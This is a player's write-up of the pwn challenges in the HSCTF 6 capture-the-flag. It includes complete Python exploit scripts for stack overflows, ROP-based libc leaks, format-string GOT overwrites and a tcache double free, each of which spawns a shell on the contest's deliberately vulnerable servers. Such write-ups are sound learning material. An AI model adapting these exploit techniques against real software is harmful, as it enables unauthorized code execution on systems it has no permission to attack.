I played HSCTF 6 in yoshikingdom
and our team reached 11th place.
I didn't plan to play this CTF but @y05h1k1ng suggested us to play this one as a joke (not in ordinary team) because it was about to the end of the CTF.
So, 11th place in half a day. Not bad.
I solved pwn/forensic challs mainly and here I'm going to write the solutions for pwn challs since most of the forensic challs were boring. I like the pwn challs especially the last 3 heap ones though I couldn't finish 2 of them in the short time.
- [Pwn 51] Intro to Netcat
- [Pwn 168] Return to Sender
- [Pwn 243] Combo Chain Lite
- [Pwn 333] Storytime
- [Pwn 365] Combo Chain
- [Pwn 397] Bit
- [Pwn 425] Byte
- [Pwn 427] Caesar's Revenge
- [Pwn 451] Aria Writer
[Pwn 51] Intro to Netcat
Just nc to theserver.
[Pwn 168] Return to Sender
The binary has a simple stack overflow vulnerability and a win
function which spawns the shell.
So, we just have to overwrite the return address.
from ptrlib import * elf = ELF("./return-to-sender") sock = Socket("pwn.hsctf.com", 1234) payload = b'A' * 0x14 payload += p32(elf.symbol("win")) sock.sendline(payload) sock.interactive()
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:1234 [ptrlib]$ Where are you sending your mail to today? Alright, to AAAAAAAAAAAAAAAAAAAA¶ it goes! cat flag [ptrlib]$ hsctf{fedex_dont_fail_me_now}
[Pwn 243] Combo Chain Lite
The binary has a simple stack overflow and it gives us the address of system
.
It also has "/bin/sh" and we can use them to execute the shell.
from ptrlib import * elf = ELF("./combo-chain-lite") sock = Socket("pwn.hsctf.com", 3131) rop_pop_rdi = 0x00401273 sock.recvuntil(": ") addr_system = int(sock.recvline().rstrip(), 16) addr_binsh = 0x402051 payload = b'A' * 0x10 payload += p64(rop_pop_rdi) payload += p64(addr_binsh) payload += p64(addr_system) sock.sendline(payload) sock.interactive()
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:3131 [ptrlib]$ cat flag Dude you hear about that new game called /bin/sh? Enter the right combo for some COMBO CARNAGE!: [ptrlib]$ hsctf{wheeeeeee_that_was_fun}
[Pwn 333] Storytime
Same as the previous challs. The binary has a simple stack overflow vulnerability but no address is given.
I leaked the libc address through GOT using write
as rdx
is big enough to leak the address when exiting the vuln
function.
The libc version turned out to be libc6_2.23-0ubuntu11_amd64.so
using the libc database.
After leaking the address we can just execute system("/bin/sh")
because it's on libc-2.23.
from ptrlib import * elf = ELF("./storytime") #sock = Process("./storytime") libc = ELF("./libc6_2.23-0ubuntu11_amd64.so") sock = Socket("pwn.hsctf.com", 3333) plt_write = 0x4004a0 rop_pop_rdi = 0x00400703 rop_pop_rsi_r15 = 0x00400701 payload = b'A' * 0x38 payload += p64(rop_pop_rsi_r15) payload += p64(elf.got("read")) payload += p64(0) payload += p64(rop_pop_rdi) payload += p64(1) payload += p64(plt_write) payload += p64(elf.symbol("_start")) sock.recvuntil("story: \n") sock.sendline(payload) addr_read = u64(sock.recv(8)) logger.info("read = " + hex(addr_read)) libc_base = addr_read - libc.symbol("read") logger.info("libc base = " + hex(libc_base)) payload = b'A' * 0x38 payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.recvuntil("story: \n") sock.sendline(payload) sock.interactive()
Good.
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:3333 [+] <module>: read = 0x7f13fd176250 [+] <module>: libc base = 0x7f13fd07f000 [ptrlib]$ cat flag [ptrlib]$ hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
I think there may be another easier solution for this because the next challenge is very similar.
[Pwn 365] Combo Chain
It's same as the previous challenge.
from ptrlib import * elf = ELF("./combo-chain") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./combo-chain") libc = ELF("./libc6_2.23-0ubuntu11_amd64.so") sock = Socket("pwn.hsctf.com", 2345) plt_printf = 0x401050 rop_ret = 0x0040101a rop_pop_rdi = 0x00401263 # leak payload = b'A' * 0x10 payload += p64(rop_ret) # align payload += p64(rop_pop_rdi) payload += p64(elf.got("gets")) payload += p64(plt_printf) payload += p64(elf.symbol("_start")) sock.recvuntil(": ") sock.sendline(payload) addr_gets = u64(sock.recv(6)) logger.info("gets = " + hex(addr_gets)) libc_base = addr_gets - libc.symbol("gets") logger.info("libc base = " + hex(libc_base)) # get the shell! payload = b'A' * 0x10 payload += p64(rop_ret) # align payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.recvuntil(": ") sock.sendline(payload) sock.interactive()
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:2345 [+] <module>: gets = 0x7f34b0f6ad80 [+] <module>: libc base = 0x7f34b0efc000 [ptrlib]$ cat flag [ptrlib]$ hsctf{i_thought_konami_code_would_work_here}
[Pwn 397] Bit
We can flip 4 bit in the memory.
As there is a flag
function, I changed the puts@plt
written in puts@got
to the flag
address.
from ptrlib import * elf = ELF("./bit") #sock = Process("./bit") sock = Socket("pwn.hsctf.com", 4444) target = elf.got("exit") before = 0x080484f6 after = elf.symbol("flag") gomi = elf.got("setvbuf") x = 0 for i in range(4): a = (before >> (i * 8)) & 0xff b = (after >> (i * 8)) & 0xff for j in range(8): if (a >> j) & 1 != (b >> j) & 1: sock.recvuntil("byte: ") sock.sendline(hex(target + i)[2:]) sock.recvuntil("bit: ") sock.sendline(str(j)) sock.recvuntil("byte: ") print(sock.recvline()) x += 1 for i in range(4 - x): sock.recvuntil("byte: ") sock.sendline(hex(gomi)[2:]) sock.recvuntil("bit: ") sock.sendline("0") sock.interactive()
Be careful running this script as it goes infinite loop because exit(flag) calls exit inside.
$ python solve.py ... [ð] pwn gods like you deserve this: hsctf{flippin_pwn_g0d} ...
[Pwn 425] Byte
We can change 2 bytes in this challenge and we have to change a local variable from 0 to 1. As the binary has a format string vulnerability, we can easily leak the address of the stack.
from ptrlib import * #sock = Process("./byte") sock = Socket("pwn.hsctf.com", 6666) sock.recvuntil("byte: ") sock.sendline("%7$p") addr_stack = int(sock.recvuntil(" "), 16) addr_target = addr_stack - 314 logger.info("target = " + hex(addr_target)) sock.recvuntil("byte: ") sock.sendline(hex(addr_target)[2:]) sock.interactive()
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:6666 [+] <module>: target = 0xffb0200a [ptrlib]$ ffb0200a has been nullified! that was easy, right? try the next level (bit). here's your flag: hsctf{l0l-opt1mizati0ns_ar3-disabl3d}
[Pwn 427] Caesar's Revenge
It's caesar cipher service. The binary has a format string vulnerability.
from ptrlib import * def decode(data, key): out = b'' for c in data: if ord("a") <= c <= ord("z") or ord("A") <= c <= ord("Z"): out += bytes([c - 1]) else: out += bytes([c]) return out elf = ELF("./caesars-revenge") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./caesars-revenge") #delta = 0xe7 libc = ELF("libc6_2.23-0ubuntu11_amd64.so") sock = Socket("pwn.hsctf.com", 4567) delta = 0xf0 # Stage 1 writes = {elf.got("puts"): elf.symbol("caesar")} payload = fsb( pos = 24, writes = writes, bs = 1, bits = 64 ) sock.recvuntil(": ") sock.sendline(decode(payload, 1)) sock.recvuntil("shift: ") sock.sendline("1") # Stage 2 payload = b'%117$p' sock.recvuntil(": ") sock.sendline(decode(payload, 1)) sock.recvuntil("shift: ") sock.sendline("1") sock.recvuntil("Result: ") addr_libc_start_main = int(sock.recvline().rstrip(), 16) libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta logger.info("libc base = " + hex(libc_base)) # Stage 3 one_gadget = libc_base + 0x4526a writes = {elf.got("puts"): one_gadget} payload = fsb( pos = 24, writes = writes, bs = 1, bits = 64 ) sock.recvuntil(": ") sock.sendline(decode(payload, 1)) sock.recvuntil("shift: ") sock.sendline("1") sock.interactive()
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:4567 [+] <module>: libc base = 0x7fb8a741d000 [ptrlib]$ cat flag Result: ð À ù c@@[ptrlib]$ hsctf{should_have_left_%n_back_in_ancient_rome}
[Pwn 451] Aria Writer
It's a heap challenge and there are 3 options in the menu.
global = malloc(size); read(0, global, size);
free(global);
write(1, name, 0xc8);
It's a simple double free and tcache is enabled.
However, there's no way to allocate a large chunk and leak the data written in global
.
I found RELRO disabled, which means we can change the addresses in GOT.
So, my plan is:
- set
free@got
toputs@plt
- set
global
toputs@got
- leak
puts
address by callingfree(global);
- set
write@got
to one gadget rce - get the shell by calling
write(1, name, 0xc8);
It's not necessary to use write
so I could solve this challenge without using name
.
from ptrlib import * def alloc(size, data): sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("> ") sock.sendline(str(size)) sock.recvuntil("> ") sock.sendline(data) def free(): sock.recvuntil("> ") sock.sendline("2") def secret(): sock.recvuntil("> ") sock.sendline("3") elf = ELF("./aria-writer") libc = ELF("./libc-2.27.so") #sock = Process("./aria-writer") sock = Socket("pwn.hsctf.com", 2222) plt_puts = 0x400750 # name sock.recvuntil("> ") sock.sendline("/bin/sh") # double free for shell alloc(0x38, "A") free() free() alloc(0x38, p64(elf.got("write"))) alloc(0x38, "") # double free for libc leak alloc(0x28, "B") free() free() alloc(0x28, p64(elf.symbol("global"))) alloc(0x28, "") alloc(0x18, "C") free() free() alloc(0x18, p64(elf.got("free"))) alloc(0x18, "") # free@got = puts@plt alloc(0x18, p64(plt_puts)) # global = puts@got alloc(0x28, p64(elf.got("puts"))) # libc leak free() sock.recvline() addr_puts = u64(sock.recvline().rstrip()) libc_base = addr_puts - libc.symbol("puts") logger.info("libc base = " + hex(libc_base)) # write@got = one gadget one_gadget = libc_base + 0x4f322 alloc(0x38, p64(one_gadget)) # get the shell! secret() sock.interactive()
I used write
but other functions such as exit
are OK.
I wonder if it's the intended solution......
$ python solve.py [+] __init__: Successfully connected to pwn.hsctf.com:2222 [+] <module>: libc base = 0x7fc1182f3000 [ptrlib]$ cat flag secret name o: :[ptrlib]$ hsctf{1_should_tho}[ptrlib]$